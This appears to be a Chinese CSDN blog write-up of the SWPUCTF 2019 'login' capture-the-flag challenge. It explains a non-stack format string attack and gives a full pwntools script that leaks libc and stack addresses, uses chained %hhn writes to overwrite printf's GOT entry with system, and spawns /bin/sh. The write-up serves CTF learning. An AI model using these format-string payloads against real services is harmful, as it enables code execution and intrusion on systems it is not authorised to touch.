SWPUCTF_2019_login

这篇博客详细介绍了如何利用非栈上的格式化字符串漏洞,通过操纵内存地址,将printf GOT表替换为system地址,最终实现执行/bin/sh。文章中给出了详细的步骤,包括获取libc和ebp地址,修改内存布局,以及发送特定格式的输入来触发漏洞。此过程涉及栈帧、内存布局和二进制安全的知识。
摘要由CSDN通过智能技术生成

SWPUCTF_2019_login

查看保护
在这里插入图片描述
在这里插入图片描述
格式化字符串漏洞,但是s1和正常的栈上格式化不一样,这里是非栈上。
攻击思路:因为是非栈上,所以需要借助ebp这里的链子来实现将printf_got改为system_addr。
1.首先借助这个格式化漏洞拿到libc和ebp的地址。
在这里插入图片描述
2.接下来就是借助ebp这条链子将printf_got改到这个链子上,最后的结构为下图
在这里插入图片描述
用%6$hhn来修改%10$处的数据然后%10$hhn来修改%14$处的数据最后使得使得%14$处为printf的GOT表地址,同样的方法,让%15$处为printf_got + 1的值
3.最后将printf_got改为system_addr然后传入/bin/sh即可。
这里笔者借鉴了ha1vk师傅的wp。

from pwn import *
from time import sleep

context(arch='i386', os='linux', log_level='debug')

file_name = './z1r0'

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 25426)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter('Please input your name: ', 'aaaa')

p1 = b'%15$p'
r.sendline(p1)

r.recvuntil('This is the wrong password: 0x')
libc_start_main = int(r.recv(8), 16) - 0xf1
success('libc_start_main = ' + hex(libc_start_main))

libc = ELF('libc-2.27.so')
libc_base = libc_start_main - libc.sym['__libc_start_main']
system_addr = libc_base + libc.sym['system']

p2 = b'%6$p'
r.sendline(p2)
r.recvuntil('This is the wrong password: 0x')
stack1 = int(r.recv(8), 16)
success('stack1 = ' + hex(stack1))

p3 = b'%10$p'
r.sendline(p3)
r.recvuntil('This is the wrong password: 0x')
stack2 = int(r.recv(8), 16)
success('stack2 = ' + hex(stack2))

printf_got = elf.got['printf']
#0x804b014

p1 = '%20c%10$hhn'
r.sendlineafter('Try again!\n', p1)

p2 = '%' + str((stack2 & 0xFF) + 1) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p2)

p3 = '%176c%10$hhn'
r.sendlineafter('Try again!\n', p3)

p4 = '%' + str((stack2 & 0xFF) + 2) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p4)

p5 = '%4c%10$hhn'
r.sendlineafter('Try again!\n', p5)

p6 = '%' + str((stack2 & 0xFF) + 3) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p6)

p7 = '%8c%10$hhn'
r.sendlineafter('Try again!\n', p7)

# printf_got + 1
stack2 += 4

p1 = '%' + str(stack2 & 0xFF) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p1)

p2 = '%21c%10$hhn'
r.sendlineafter('Try again!\n', p2)

p3 = '%' + str((stack2 & 0xFF) + 1) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p3)

p4 = '%176c%10$hhn'
r.sendlineafter('Try again!\n', p4)

p5 = '%' + str((stack2 & 0xFF) + 2) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p5)

p6 = '%4c%10$hhn'
r.sendlineafter('Try again!\n', p6)

p7 = '%' + str((stack2 & 0xFF) + 3) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p7)

p8 = '%8c%10$hhn'
r.sendlineafter('Try again!\n', p8)

# printf_got ------> system_addr

p1 = '%' + str(system_addr & 0xFF) + 'c%14$hhn'

p1 += '%' + str(((system_addr & 0xffff00) >> 8) - 0x10) + 'c%15$hn'
r.sendlineafter('Try again!\n', p1)

sleep(0.5)

r.sendline('/bin/sh')

r.interactive()
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值